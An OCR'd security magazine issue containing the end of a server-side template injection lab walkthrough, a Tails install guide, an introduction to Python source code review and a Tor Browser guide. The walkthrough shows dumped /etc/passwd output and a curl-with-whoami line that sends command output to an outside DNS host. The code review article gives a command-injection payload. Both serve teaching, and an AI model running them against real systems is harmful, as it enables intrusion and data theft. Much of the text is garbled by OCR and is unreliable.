ek 3930 red: var ran ired: s shuynologin guats:x-d 141 :Grats Bug-Reporting Svatem (admin)-var lib/'gaats: vseshin/'nologin nobody:x:65534:655 34 nobody: ‘nonex
_Aprx: 10065534 nonexistent-bin false messagebus:x- 101 101 var nuydbas b false Army ( [0] == x 100 101 :Svarnuydbus: bin false [1] == messagebns ) BSWERE

Great! Up until now, this is a basic reflected vulnerability. The person who developed Tplmap and therefore the test cas-
es put an interesting feature: if you send a method called blind from the QueryString, the vulnerability becomes blind.

& VIR T6R SR TITIS002 emanty- x -+
2 G @ MNotsecurs | 19216852 131 . pThli i e p— . ; e

I pdL V3

As you can see, we didn’t get an output, which means that the vulnerability is blind.

Let’s extract data here, by applying the OOB technique. We could convert the vulnerability from SSTT to Command
Injection. In the above section, we have already seen how to send requests to our Responder in Command Injection.

curl “whoami” .omercitak.net

Using the same technique here.

L5 RRERRISR=RERE LT R S
< ' ® Notsecure | 132 16852121 T ur ik y . p— s ‘ T
SOMeLIZ940

Looking at the output:

¥] [DNS] Poisoned answer sent to: 3.123.23.76 Reguested name: .www.data.omercitak.net

*] [DNS] Pois | answer sent to: 3. : ted . L d:z “itak.net
*] [DNS]1 Poisone aNswWer se to: 3.12 2 tlequested name: . c.net

As it appears, we have received the www-data output again from the whoami command.
See you in another article, happy hacking!
Sources

o https://github.com/SpiderLabs/Responder

o https://github.com/epinna/tplmap

o https://www.netsparker.com/blog/web-security/server-side-template-injection/
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Leave No Trace Behind - Tails

(The Amnesic Incognito Live System)

ears ago, at a holiday, I had to access my emails
and desperately asked a stranger using a com-
puter to borrow their device for few minutes.

Quickly checking my emails, I thanked that stranger
but was numerous questions were left behind in my
mind - did I correctly log out of my email session, could
the computer I borrowed had a malware installed like
keylogger?

The only thing to do was to change my email password
as soon as I got access to a trusted computer.

There may be circumstances like this where we would
need to use others’ computers. Especially university
students perform lots of personal tasks like checking
their emails or social media on their schools’ comput-
er labs. I am not sure if they as suspicious as I do af-
ter these tasks, but at the end of the day the potential
threats I mentioned above do apply to them.

Not only for others’ computers, sometimes you may
also want the operations you carried to leave no trace
behind Sadece bagkalarinin kullandig: bilgisayarlar
icin degil, kendi bilgisayariniz i¢in bile zaman zam-
an yaptigiiz islemlerin bilgisayarimizda iz birak-
mamasini; hirsizlik ya da adli bir inceleme duru-
munda 6nem atfettiginiz datalara erisilememesini
arzu ediyor olabilirsiniz.

Do not criminalize the incident immediately. Journalists at
most places in the world are fighting for their rights against
oppressive regimes; Turkish Muslims at East Turkestan are
trying every way against China’s digital surveillance.

In this article, what is going to be talked about is the

installation and usage of an operating system enabling
you to leave no trace behind when using someone else’s
computer, or your own: Tails. Tails is an abbreviation of
The Amnesic Incognito Live System.

Amnesic means the operating system running on the
RAM and not writing data to hard disk. For this rea-
son, whatever the reason, no data would be accessible
forensically. Incognito addresses the anonymity of the
systemr’s identity. The system does all of the internet
connections through the TOR network. A more de-
tailed article about TOR can be found in this issue
of Arka Kapi Magazine. Live indicates the portabili-
ty and states that you can boot a computer with any
tool whether carried on a CD, USB or a mini memory
card.

You can visit the following address to download Tails :
https://tails.boum.org/install/

When visited the site, you must have seen the warning
stating that the site is being watched by secret services,
therefore after downloading the Tails installation file, it
has been designed in such a way for you to share with
your friends.

Here, it is assumed that the reader already uses Win-
dows operating system and will perform necessary ac-
tions on this operating system.

The first question that the Tails download page displays
us supports this assumption. The installation page asks
which operating system Tails will be installed over.

Click Windows and continue.
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Q Downbaad and install Tails English CE ES FA FR T PT

| Download and install Tails

Thank you fer yeur interest in Tails.

Installing Tails can be quite long but we hope you will still have a good time ;)

Wi will firsk ask you 8 few questions te chocse yeur installation scenaric and then guide
you step by step,

Which operating system are you installing Tails from?

+ Dovwnload only (for USB sticks

s Dovnload only (for CVDs and virtual machines)

The page after that asks us to choose the Tails download process - will we continue with a trusted friend’s Tails instal-
lation, or will we install Tails from a Windows machine from scratch.

Y Tails

theamnesic ncognitolive

'[:r install Windows English DE ES FA FR IT PT

I windows

INSTALL FROM ANOTHER TAILS DOWNLOAD AND INSTALL

If you know someona you trust who uses Tails already, then You need:
yeui can install your Tails by cloning frem their Tails.
« 1 USB stick (at lsast 3 GBI
You need: + 1 hour te download Tails (1.2 ae)
= 35 heur te install
= 1 othar Tails (S8 stice or VD)

= 1 USE stick (st leas B G8)
I _

You can also
a Bum Tails on a DV

» Run Tails in a virksal mackine




AN s | YA Y Rl Zivahan Albeniz - Leave No Trace Behind - Tails (The Amnesic Incognito Live System)

Let’s indicate that we're going to install Tails on Windows from scratch.

With this option, in order to download the 1.2 GB Tails installation file, you're going to need a USB of at least 8 GB,

an hour for downloading and half an hour for installation.

ieamnesic mitolivesyst

Y Tails

win Install from Windows

2}

| Install from Windows

YOU NEED
1% hours in total 1 USE stick a smariphong
1.2 08 to downldosd & 58 minimum snother computer,
¥ besrurr b inatall AL dlrta will e logh! Bt 8 gird
15 follow the ndtructiong
YOUR STEPS
¥
Download Install Rastart

sgarch

English DE E5 FA FR IT PT

Rastart

A page that provides a summary of the actions we will take respectively welcomes us.

The steps followed will be:

o Downloading the Tails installation file
o Installing Tails to the disk

o Booting the PC with Tails

o  Configuring Tails

o Rebooting the system

Continue by clicking the Lets Go button.

If you read this article up to this point and have decided to install Tails, you probably feel under surveillance of legal
or illegal corporations. Even for this reason you may be subject to some attacks during installation.
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When installing Tails, an attacker that captured your connection may perform a Man in the Middle (MiTM) attack
and may change the file youre downloading with a copy they designed that will enable them to watch over you.

Therefore, in order to avoid this scenario, the page encountered during the installation phase is about a verification
process where you can tell if the file you downloaded is really the file prepared by the Tails team.

Y Tails

theamnesicir

A install ~ win Install from Windows English DE ES FA FR T PT

| Install from Windows

1/5 Download Tails 3.13.1

Direct download BitTorrent download What is BitTorrent?
1.1 DOWNLOAD TAILS 1.1 DOWNLOAD TAILS (TORRENT FILE)
| already downloaded Tails 3.13.1
Skip do ad
Skip d oad

This process is known as the file signature verification. You can also verify through the browser immediately after
download. You can take a look at the articles written by Bayram Gok about encrypting and signing messages and
cryptology in the previous issues of our magazine for further information.

For now, you can use Tails’ file verification add-on for Chrome: https://chrome.google.com/webstore/detail/tails-ver-

ification/gaghffbplpialpoeclgijkkbknblfajdl

At this stage of the installation, using an application called Etcher, we will write the Tails image that we have down-
loaded to the USB disk and bring it to the consistency that the computer can boot directly from this USB disk:
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& Tails

theamnesicincognitolive

% nstal win nstall from Windows Englich DE ES FA FR IT FT

Laf

| Install from Windows

These instructions require:

* Windows 7 (64-bit] or later

Start in Windows.

2/5  Install Tails using Ftcher

1. Click on the following link to download Etcher

2. Flug in the USE stick on which you want to install Tails.

a 1 : All the data on this USE stick will be lost.

L] B 3. Open the Scher download.

&t the security warning, confirm that you want to open Ercher.

Etcher starts.

renn

4. Click the Select image button.

Choosa the USE image that you downloaded earlier.

Etcher is a 75.2 Mb portable program. After downloading by clicking the Download Etcher for Windows link, the
below screen will welcome you. We must say that the signature verification we have made for the Tails file is also
essential for the Etcher file.

28




Ziyahan Albeniz « Leave No Trace Behind - Tails (The Amnesic Incognito Live System) AH KA K A P |

Etcher — *

O

Select image

f' balenaEtcher lyg balena

Send the Tails file you downloaded by clicking the Select Image (the file with .iso extension) option.

Jpen kS
L = A v ThaPC « Yeni Binm {Bx) w Egarch 'Yerm Eriin C -]

Crganise = Miew Falder 1~ @ @
& Mok = Parme . Dite madiied Iype Gize s

&

B This PC
B 30 Objects
I Deiktep
« [Decaments
& Downioads
B Wumc
= Peung
B Videss

o Wiedews (6 aTe
- hﬁ-*_"' i T [FE 18 j=l =)
s Weri i ()

. "

File name I_ub:-m.:ﬁ.l-!l.r.im -| 05 Images (" birc" bed* dmg®. ~

[ ] e

Next is choosing the USB flash drive that the file will be copied on. Pay attention and be careful - for every data on
your USB flash drive will be deleted !
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Etcher — x

SanDisk Cruzer Blade USB Device - 8

o E

tails-amd64-3.8.is0

&p balenaEtcher &g balena

Press the Flash! Button after selecting the USB flash drive.

Etcher - Starting... o *

tails-a..3.8.iso0

SanDisk... Device

Build an air quality monitor with Raspberry Pi

View tutorial

&p balenaEicher &g balena




Ziyahan Albeniz « Leave No Trace Behind - Tails (The Amnesic Incognito Live System) AH KA K A P |

With the below operation, we understand that the writing process to the USB flash drive is finished:

Etcher - *

¥ Flash Complete! Flash Another
|

balena is here!

A Raspberry Pi-based board for
professional applications

Discover More

Now it is time to boot the computer with this USB. During this whole process, the USB flash drive must be plugged
in the computer.

This option pops up by pressing F2 on some computers, ESC or DEL on other etc.. You can get some help on how to
change the boot order by visiting http://www.boot-disk.com/boot_priority.htm .

When you boot your computer with the Tails-installed USB drive, after a few actions, you will see the following
screen:

-

Welcome to Tails!

Language & Region (@)
Language English - United States

Keyboard Layout English (US)
Y Y g

m Formats United States - English

Additional Settings (2

The default settings are safe in most situations. To add a custom setting, press the "+"
button below.
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At this step, we need to make a few settings like the Keyboard Layout or Language. What needs more attention is the
Additional Settings field. Open this field by clicking the + sign and continue the process:

Additional Settings

Administration Password Off (default)

Language §

[E] MaC Address Spoofing On (default)

G Network Connection Direct (default)

Now, we are going to assign a password to Tails with Administration Password. We will need these permissions espe-
cially during the configuration of TOR when modifying some files.

Tails’i kullanim amacimiz daha ¢ok PC diski iizerinden iz birakmadan kullanabilmek. Fakat internet gezini-
minizde kimliginizi de anonimlestirmek istiyorsaniz network baglantis1 ayarlarindan ¢ikislarimizin Tor iizer-
inden yapilmasi gerektigini belirtecegiz.

For this, choose the Network Connection in the Additional Settings field.
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Additional Settings  Back - I

Metwork Configuration

Language If your Internet connection Is censored, filtered, or proxied

you can configure @ Tor bridge or a local prooy. To work
completely offline, you can disable all networking.
Kev®  Connect directly to the Tor network (default) /

m Form) Configure a Tor bridge or local proxy

Disable all networking

Additionall

Let’s make this connection through a bridge (for countries where direct TOR access is blocked), and select this
choice.

Performing your untraceable operations, you might not need to have an internet connection. It is possible to cut all
internet connection of the system by choosing Disable all networking.

You will configure the Tor bridge and local proxy later on after connecting to a nebwork

Welcome to Tails!

Language & Region

Language English - United States

B3 Keyboard Layout English {US)

[7) Formats United States - English

Additional Settings (1)

Administration Password On

g‘? Metwork Connection Bridge & Proxy

+

33




AN s | YA Y Rl Zivahan Albeniz - Leave No Trace Behind - Tails (The Amnesic Incognito Live System)

After making necessary settings, Tails is ready to go. Start Tails by clicking the button Start Tails.

Now, what we need to connect to the internet, and then enter the Bridge settings to make the internet connections
over TOR.

If you want, you can click on the network icon on the right side of the taskbar and provide a connection to the mo-
dem in your home or work, or plug in a network cable to the network card.

After a connection is established, you may encounter such a screen below. This screen mentions that a connection to
the TOR network can not be established because of blocking (some countries block TOR as previously mentioned).

Together with the Configure option, we can make the necessary bridge settings that will allow us to connect indi-
rectly to the Tor network.
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Sadly, since Tor is being censored in some countries as shown on the screen that welcomes us, we enter the bridge
settings in the box just below.

Wait a minute - how do we find these bridges?
For this, by sending an email to TOR’s email service, we demand the current settings.
But TOR does not run on Tails yet we booted the system with Tails?

This can be solved by using Unsafe Browser found under the menus Tails > Internet.

Now that we have reached our email account, let’s send the email. Send an email to the address bridges@torproject.
org with get transport obfs4 written as the message’s body, and wait for the answer.
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The expected settings came. Now, take this information and enter them into the TOR configuration screen and click
Connect:

Now that this is also done, we have come up to a point very crucial for Tails. Yes, this system has been designed to be
forgetful. Yet, there are such information which do not want to enter over and over again. In such cases, the encrypt-
ed disk offered by Tail is exactly what we need.

Now, we are going to create an encrypted field over the USB drive and hide the data of chosen type here. For instance,
after entering the wireless network password once, let this be hidden in the encrypted disk. One day, you might want
to store your Bitcoin wallet, the database of your password manager here.

Let’s create the disk. Choose the Configure persistent volume option from the Applications > Tails menu.
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]
=
1]
Is

We encounter the following screen:

Persistence wizard - Persistent volume creation

Beware! Liung perintente hat consequences Bul must be wed
urciritond. Tads cany eip you i you usk @ weong! See the
Encryptd persatence page of the Tat dotumentates bobean
T B

Choous & passphraie to protect the peristent volume
8 &V GE perrgteet solume will b oreated o the SanDik

Crurer Blade device Data on fhis volume will be shomed m o
ypied Torm proted]ed by & patdperine

FEesaEEEEEE

Here, a partition of the disk to be encrypted will be created. This process can be thought of as encrypting the disk as
described in the Bitlocker article in the previous (sixth) issue of Arka Kapi Magazine.

Now, specify a passphrase which will be used as a key to encrypt the data on the disk. Enter a passphrase in the box.

The operation of the creation of the persistent area starts by clicking the Create button:
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Setup Tails persistent volume

Persistence wizard - Persistent volume creation

Creating,...

Creating the persistent volume

r'l

cocrameerial

Trash

After this process, which the data will be saved to this password-protected permanent disk space that we created is
specified:

Sabup Tah pervivkent volame

Persistence wizard - Persistent volume configuration

Spamcilfy the files that waill b wavad i e e bt il wdurra

P Rubbr D16 Mo, oW e whoress it drcple pariitom Jisgin ot

b 1GE). o re Seellivk Criger Blde oeve e

Pereonasl Dats

Browner Bookma ks

Biwtwmrk Comnecisng

i i thenal CeslT AT
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You can specify such options as personal data, network settings, frequently used URLs in the browser, email corre-
spondences and wallets of cryptocurrencies within this window.

After creating a password-protected, persistent disk space, the next screen indicates that we need to restart Tails to
activate the settings:

'-"-'El-'l-lﬂ- Tails peErsstent wolome

Persistence wizard - Finished

Any changes you have made will only take effect after
restarting Taills.

Report an
P You may now elese this applbcation
BTl

Taks
g Limiemall

o
Trash

Restart Tails to access the safe zone. At the welcome screen of Tails, this time we will see an option asking if we have
a password-protected disk, and whether we want to use it in the Tails session:
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| stadoun |

Welcome to Tails!

Langaage & Regicn (1)

[ Heyboard Layout H

m Formats Unsted Stated - Englisn

Encrypled Persistent Storage @ S

| SRS

Additional Setnings

The defalr
ERUTa el Osir

+

After entering the password of the encrypted region and clicking the Unlock button, if the password entered is cor-
rect, the disk space will be usable in this Tails session.

Language & Region ()

E Keybaard Layout Engliad [LIS)

m Formats Unfled Staies - English

Encrypted Persistent Storage i@

Youir perstent siorage s uniocked. Restan Tals o ok it agan

Additional Sertirgs

st SAuanon. To atd & cusbom eteng p!ﬁ!-ﬂ'*”‘

The defadl teitngs are ale n

BabLon e O

+
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Since we entered the correct password, we get the Your persistent storage is unlocked message.

If you want to access this persistent disk space, it is possible to do so in the Places > Persistent menu.

You can now use the untraceable operating system Tails confidently.

A few suggestions

If you did not choose a strong password during disk encryption, or if your PC has a back door in its hardware, Tails
will not do magic. If it is security we are talking about, instead of putting all your trust into one point, it is essential
to always be alert and take security precautions at each layer.

On the other hand, you can install Tails even on a nail-sized micro SD cards, and if your PC supports it, you can boot
your computer from that SD card.

The greatest advantage of Micro SD cards is they can be swallowed in case of danger.
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Source Code Review
for Python

Hey everyone,

Secure Source Code Review is one of the key steps in
the secure software development lifecycle to identify
vulnerabilities in software. It is a process that is reg-
ularly done by developers or security experts under
the name of code review. In fact, before going into de-
tail, let’s talk briefly about what steps a software goes
through to secure it.

First of all, just as software has some necessities, secu-
rity necessities need to be determined. For this reason,
it is necessary to determine, write, and implement the
security requirements that the software must provide
for use by project or throughout the organization as a
whole.

The second step is the threat modeling of the software
to be secured. Here, the issues that affect security, such
as the services that the application will work with, the
authentication and authorization mechanisms, should
be examined. These steps are the subject of another arti-
cle. After this step, source code reviews need to be done
periodically on the developed code. Of course, although
it is wrong to do so, this process is sometimes done as the
last thing, on a completely finished project. So, how is
this review done? What kinds of tools are used and what
needs to be paid attention in the meantime. First, let’s try
to understand the methods and concepts, and then try to
illustrate how to do a practical source code review.

First of all, let’s start with the concepts in source code
review. If it is security we desire, we will certainly need
to inspect is the application contains vulnerabilities in
some categories. The most critical ones among these
categories are undoubtedly the injections. The vulnera-
bilities in this category will be about checking how and
in which ways we accept the input(s) in the software,
and in which frameworks and functions these inputs
are used. There, of course, are not vulnerabilities only
about the injection category: there are such categories

as cryptography, session control, authentication, au-
thorisation, etc.. However, let’s start with our star - in-
jection vulnerability. Getting used to the concepts:

Source: Can be expressed as it as the place where the
input we accept into the software comes from. For ex-
ample, a parameter in the request to our application
may actually be the place we would call the source.
For example, QueryString in the URL, header values
and form data can be accepted as a source for us. Let’s
give a code example. (Places marked in yellow are
the variables where the input comes to the software /
Properties / Return values of functions).

[C#]

string userName =
yString[“userName”];

Request.Quer-

[Python]

param = request.form[‘suggestion’]

Sink: In the source code review, sink means “where
the input comes to the function that creates the vul-
nerability after being accepted”. So lets put it this
way, we have some functions and these functions
cause vulnerabilities when a harmful input comes.
This can often be an argument object that accepts
input in a function. Let’s reinforce the concept of the
sink by sharing a code snippet that causes OS Com-
mand Injection vulnerability:

[C#]

Process.Start (“ping.exe /C “ + para-
metre);
[Python]

subprocess.call (command, shell=True)
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If outside data comes here without being cleaned (that
is to say - sanitization, escaping, encoding, etc.) the at-
tacker may trigger an OS Command Injection vulner-
ability. For example, when the input “127.0.0.1 && dir
C:\” comes to C#, the software ping the localhost and at
the same time lists the C directory in the background.
This, of course, is a very cute scenario, as you may ex-
pect, an attacker wouldn't act so kind.

Flow Analysis: Flow analysis is the process of
tracking the progression of the data from source
to software, progressing through variables to sink
argument. But why is that needed? If the payload
comes to the sink function/location without losing
its meaning, the attacker can trigger this vulnerabil-
ity. Let’s reinforce again by giving a few examples.
Please note the places marked in yellow; the data
moves through these variables to the destination.
(It is kindly reminded that the examples have to be
kept simple in the article.)

[C#]

string ipAddress = Request.Form[“i-
pAdress”];

string anotherVariable = ipAddress;

Process.Start(“cmd.exe”, “/C ping.

exe “ + anotherVariable);

[Python]
param = request.form[‘suggestion’]

command = ‘echo ‘ + param + ‘' >> ‘' +
‘menu.txt’

subprocess.call (command, shell=True)

After making a brief explanation of some concepts, let’s
think about how to do source code review. First of all,
we know that the root cause of the vulnerabilities is
caused by sink locations. Software libraries and frame-
works contain some exploitable points and our first aim
should be finding them. Thinking in reverse: what if we
found all the input points and try to access the sink lo-
cations?

This would be a challenging way; if we want to look at
where the data goes, starting from all the input points,
our work will be very long, because each input may not
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lead to a vulnerable point. So what should we do is to
examine whether there is a return to the source starting
from the sink? In this way, we can perform inspections
much faster. So where can the sink functions/points be
reached?

This is not very easy as well, there exist sink locations
for each vulnerability - this is what needs to be exam-
ined. For instance, for C#, we need to look at all the
overload methods of the Process. Start function. Some-
times the sink may be the first parameter, sometimes
the second, third parameters cause the vulnerabili-
ty. While performing these reviews, you can find the
sink points for each vulnerability by making searches
on the internet in the language you are reviewing. For
example, thinking that C# has over 280 vulnerabilities,
it may be really difficult to find all sink points and per-
form flow analysis on them. We have to do this using an
automated tool.

Well, can’t we write code to find at least sink points to
use in the review ourselves? Can't we have our own
scripts? The answer is, of course, we can!

Now, let’s write a script that makes it easier for us to
find the sink points for Python, and to keep it short,
let’s take a look at OS Command Injection vulnerability.

We need an AST (Abstract Syntax Tree) library to find
the sink functions (if youd like to write such tool, you
can write a motor yourself to create an AST, parsing the
code). About what AST Parsers are - we can say that
it is a data structure that expresses the code in a tree
structure after the code has been parsed. With these
tools used for querying the code, we can find the type
of functions attributes we want.

You can find out more about the AST Python library
and a python module named ast by reading the docu-
mentation with the following address.

https://docs.python.org/3/library/ast.html

Looking over a Python code:

[Python]
def foo(a, b=10):

return a + b

Now, let’s take examine this code’s AST structure.
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v Module: {} 1 key
v body: [] 1item
v 0: {} 1key
v FunctionDef: {} 4 keys
v args: {} 1key
v arguments: {} 4 keys
v args: [] 2items

v 0: {} 1key
v Name: {} 2 keys
ctx: "Param"”
id: "a"
v 1. {} 1key
v Name: {} 2 keys
ctx: "Param"”
id: "b"
v defaults: [] 1item
v 0: {} 1key
v Num: {} 1key
n: 10
kwarg: null
vararg: null
v body: [] 1item
v 0: {} 1key

v Return: {} 1 key
v value: {} 1key
v BinOp: {} 3 keys
» left: {} 1key
op: "Add"
» right: {} 1key
decorator _list: [] O items

ne "

name:. 100

As you can see, we have a schema that expresses all the variables and return values of the foo function in the form of
a tree structure with language-specific attributes.

On this tree structure, by making the desired queries we can find sink points, source points and: and with enough
effort, by writing a flow analysis algorithm, the vulnerabilities. Thus we can verify the vulnerabilities by performing
manual examinations.

So how do we do this inquiry? To do this, one needs to read the Python documentation really well and find and use
which Python classes the attributes on the AST are expressed in.

Here’s a simple example of code written to find strings in a function;




AHK A KA P | Caner Ozden + Source Code Inspection for Python

[=] sast_python.py E3 |

1 from ast import parse, Call, walk, FunctionDef
2 import importlib

3 import inspect

-

5 mod = "hello"™

6 mod = importlib.import module (mod)

p = parse(inspect.getsource (mod))

oo

s Vel

from ast import literal eval

10

11 vals = [1]

12 Hfeor node in p.body:

13 & if isinstance(node, FunctionDef) :
14 H for node in walk(node):

15 H© if isinstance(node,Call):
16 H try:

17 vals.append{[literal_eval{val} for val in node.args])
18 break

19 H except:

20 print ("something"})
21

22

23 print (vals)

24

Let’s explain this code:

In the first three lines, we import libraries that will allow us to use and query the ast data structure. Pay at-
tention to the FunctionDef object in the first line. In this way, we have an object to extract all the function
definitions in the code.

In the fifth line, we specify the name of the hello.py file that we want to analyse. If you want, you can do file op-
erations in a big project, find the files with the extension .py and return a foreach loop to automate the process.

In the seventh line, we start the inspection process of the source file that we want to analyze. Now the variable
p is the object state of our source code in the AST data structure - we can make any queries on this object.

As a matter of fact, with the for loop started in the 12th line, we start to return the objects inside the body
object in AST.

As it can be seen in line 13, if the returned objects are of function object type, we start to return other objects
using WALK function on this object. If we come across objects of CALL type (these objects show that a func-
tion is invoked in the code): on this walk, we can access string literal objects inside these objects. When we
print these out (with line numbers if you want), we can find any type of sink points on the source code. This
way, we achieved our goal and could print all strings.

Epilogue

I hope this introductory article on Python Source Code Review was beneficial to you and help you make more de-
tailed research. For more detailed analysis, try using the AST library and try to understand which classes are used to
express the expressions used in the code. These researches, which you can proceed with simple examples, may also
become a fully automated tool if you can add flow analysis in the future, and what is left for you to do is to extract the
false positive findings among those produced by the script you have written.

Thank you very much for your interest.
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Stay Hidden on the Internet:

The Onion Router

r I 1 O (The Onion Router) is both a network and a browser that allows people to surf the internet anony-
ously, allowing them to overcome barriers in regions and countries where internet access is blocked
or restricted.

TOR was originally developed by the United States Naval Research LaboraTORy to be used by the American army
with the purpose of protecting U.S. intelligence. Now it provides privacy and security through virtual tunnels that
are accessible to all (journalists, activists, army, etc.).

TOR Browser is an up-to-date and privacy-optimized version of Mozilla Firefox. It is free and open-source software
that provides online anonymity and access to blocked sites. Unlike other browsers TOR Browser;

« Enables anonymous browsing of the Internet by hiding the user’s IP address,

« Provides access to blocked sites,

« Does not include online tracking features that come by default in other browsers,
« No monetization of user data.

The TOR network consists of thousands of servers run by volunteers around the world. The TOR browser selects 3
relays each time a new connection established and connects to the internet through them. During each connection,
the relays are encrypted in such a way that they do not know exactly the way in which they send and receive data.

When using the TOR browser, the Internet connection will seem like it came from a different IP address, usually
from a different country.

1. How Does TOR Work?

The following steps show how the TOR network works when, say, Ahmet’s computer uses the TOR Browser to com-
municate with Merve's server:

Step 1: Ahmet’s TOR Browser retrieves the list of TOR relays [1] from the TOR directory server (Ayse).
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E) How Tor Works: 1

r"-.
l 1'['-’_
— — p—
Ll Bd ==
el e l—

z
B

L
L+

L e
MUSTAFA

=
W—
| S

¥
'

T MERVE

| A

‘8 'H

ﬁ*
i+

Step 2: Ahmet’s TOR Browser selects a random path from the TOR network to the destination server (Merve). All
connections in the TOR network are encrypted (green [3]). In this example, the last connection is not encrypted (red
[2]) because it uses HTTP to access Merve’s server. However, if Ahmet visits a website over SSL / TLS, HTTPS, the

last connection would also be encrypted.

E) How Tor Works: 2 1 E;}
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Step 3: If Ahmet later visits another server (Mustafa), Ahmet’s TOR Browser will choose a different, random path
this time.
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NOTE: There is an inverse ratio between anonymity and speed. TOR browser provides anonymity because it pro-
vides internet traffic through voluntary servers around the world, but the data flow will be slower than a normal
internet connection.

Attention! At the Black Hat conference held in 2016, a vulnerability using the Exit Nodes of the TOR Browser was
discovered. TOR relays used for connection are managed by volunteers - it is, therefore, possible to control these
relays. People who want to exploit this add their own relays to these by using network analysis technologies. As I
mentioned above, the message is sent to the relays in the form of encrypted layers. The last relay, i.e. the Exit Node,
can decode the last layer and the resulting message is a clear text. If this last relay is a malicious node, the message
that is intercepted can be read clearly. This means that the message will not show the person’s actual IP address and
location, but information such as user name, password or bank information can be read.

2. TOR Browser Installation

Step 1: Go to the following address and click the “Download TOR Browser “button.

iy Tor lrmwiae L

& 3 0§ Secunm  Maor wwwiopeepcton t o

é ' Homa About Tor Diacumentnhon Praas Fleg W lmimr Contas
I i
PINAL & PRICIALCTS ¢ PSR G

11 m

pims, =+ B - UGl o+ Dl o+ IoniReidy © U « Bl y Porlal - PReggelie 15aneieete -« Shadow

What is Tor Browser?

The Tor software protects you by bouncing your communicate
N a destributed network of relays run by voluniesrs all around the
BROWSER pravents Somabody watchng your intemeat connaction from ks
siles you visil il prevants e Sies you vist from iaaming your
locabon, and it kets you access sites which ang blocked

(D DOWIN':_UIAD Tor Browser lofs you use Tor on Microsoft Windows, Appla M
s GNULnux without nesding to nstall any soffware [t can run ¢
flath drivo, comes wih a pre-configured wob browtar 1o proted

ANCHYMIty, ARG i SAS-CONMAINAT (DOrADE)

Installation Instruchons
b rsiall Wieickowes  Apipie Mac0eS « GNLY insi L i e wtdd pee 367 Fladae corisden makors

Figure 1: TOR Browser page
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NOTE: If the access to the above address is blocked, you can obtain it by sending an e-mail to get TOR@TORproject.
org specifying your operating system (Windows, OSx or Linux) to download from another address.

[GetTor] Links for your request | Gels Kibiss

i geEttoranEitorproject. o
£, |ngilirce~ Torkge = hertingi omewir
| You requestad Tor Browsar for Windows

You will need anly one of the lirks balow to download the bundle f a nk
doas not work for you iry the naxt one

Tor Browser 32/64-bit

Google Drive: hllps.(dive aooghe.cor Hi=1ahe 10scGe Solr adb Qs
GitMub hitns g Tojectpelioirowsstelegses downios

GalTar

- Eoetircwnier Instal r

Figure 2: TOR email reply

Step 2: Determine the language and operating system you want to download

L = B i e OOy . L} i

T Shet uiengg Mo Bromeild ouRnad e e B¢ S prelemeg

Tor Browser Downloads arguage Thes i Cam 19 500 wfERa 4 COMEnER? 8 )
e Ceiatog o & UISE faeh oue

Stable Tor Browser
Mecroaaf Windeen Appie Wacdk ML P
Language n 5 s
ERGRS (#hirs AL [ PR tat g » et
= ) 4 g ia ul e 4 W
Commuen (28 v i ) »
Espahsl jes-ED i vl g
i R 4 d-b! | i
o [— | e | ‘gl | eepgesian
PRERRS Ty 4 B #l g -ind
ErE
W; | T I
N () W iy bl (nig) 33448 gl + Bd-tet i
SR (3 1BLDE (W 13 40 (g = BB
Parbguds (-85 . DA I 254 fagg) | 13t fa « At

Figure 3: TOR Browser download links
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Step 3: Go to the directory where the installation file was downloaded.

t B TR ¢ Desissd
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b e e Y e U

e [T ey
. Sl

B s B
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B
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Figure 4: The directory where the installation file is located

Step 4: In the first step of the installation, double-click the EXE file to start the installation. Then select the language.

B e v e b °

t & ¢ ThisPC  Downlonds

o Qusch stoen
§ tebrrese imatsh T gn Uoee £ M VR 135 lrpeistis LT

a Trestive Cloud T wriakap
- Dnelliey Ll L *®
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# 10 Ctjects j
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B e
. Lmeal Dk (05
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Figure 5: Installing the TOR Browser language pack
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Step 5: Select the directory where TOR Browser is to be installed. In Figure 6, the desktop directory is selected.

_3 Tor Browser Setup sy 'Y
Choose Install Location
Choose the folder in which to install Tor Browser. {\5

Setup will install Tor Browser in the following folder. To install in a different folder, didk
Browse and select another folder. Click Install to start the installation.

Destination Folder

IC: WsersYad\Desktop\Tor Browser Browse...

Space reguired: 146.8MB
Space available: 11.0GB

o

Figure 6: Installation location of the TOR browser.

Step 6: Click the Finish button in the following window to complete the installation.

I & Tor Browser Setup -

Completing the Tor Browser Setup
Wizard

Tor Browser has been installed on your computer,

Click Finish to dose this wizard.

FMEun

B4 Add Start Menu & Desktop shortauts

Figure 6: Completing the installation
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3. Settings Required to Connect to TOR Network

Step 1: If TOR is not blocked in the country where the Internet is accessed, the browser can be opened simply by
pressing the connect button.

However, if access to such services is blocked in the country where the TOR network is to be connected, some con-
figurations must be made by firstly clicking the “Configure” button.

Connect to Tor

TOf | Browser

Cick “Connect” to connect to Tor.

Cick "Configure” to adjust network settings F you are in a country that censors Tor (such as
Egypt, China, Turkey) or f you are connecting from a private network that requires a proxy.

contgre

For assstance, visit torproject.org/about/contact. htmi#support

Figure 1: TOR browser settings

Step 2: By clicking configure button the following window opens. Here, a bridge connection is used because the TOR
network is blocked. Bridge connections are more difficult to block since they are not listed in a public directory. As
a bridge, an available agent such as obfs4 is selected and the connect button is pressed.

B4 Tor & censored in my country

(® Select a bult-n bridge @ obfsd v
O provide a brdge 1 know

(] 1 use a proxy to connect to the Internet 6

For assistance, Vst tOrproject.ongyabout) con tact. Rtmi# suppart

<Back  Connect Ext

Figure 2: TOR bridge configuration
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Step 3: TOR Browser will soon open

Establishing a Connecbon =

TOf | Browser

Estabishing a Tor arcuit

For assistance, visit torproject.org/about/contact.htmi#support

Figure 3: Connecting to the TOR network

4. Connecting to the TOR Network through Special Bridges

To connect to the TOR network, a connection may be made through special bridges that are less known and there-

fore less obstructed.

If the TOR page cannot be accessed, special bridge addresses can be requested by sending get bridges to bridges@TOR-
project.org. However, if the TOR page is accessible, the following steps can be followed to obtain custom bridges;

Step 1: Go to the address below and click on the Just give me bridges button.

OFEER
™ Sndgell u
&« C | & Securs | nimpes/bridges. torproject.ong
Get Bridges!
BridgeD8 can provide bridges with several which can heip
obfuscate your connections to the Tor Network, making It more diffcult for amone

watching your internet traffic to determine that you areusing Tor
mren't IPvé compatible
Additionalty. BridgeDB has plenty of plain-ol vanilla bridges — without amy Pluggable

Tranaports — which maybe doesnt sound as cood, but they can still heip o Circument
Infernet censorship i many cates

Figure 1: Getting special TOR bridges

94

Some bridged with IPv6 addresses are also availatie. though wome Plugiiable Transports



M. Enes Ozen » Stay Hidden on the Internet: The Onion Router AH KA KA P |

Step 2: Fill in the security code and press ENTER.

« C a s/ fhridges torprojec oog 1r

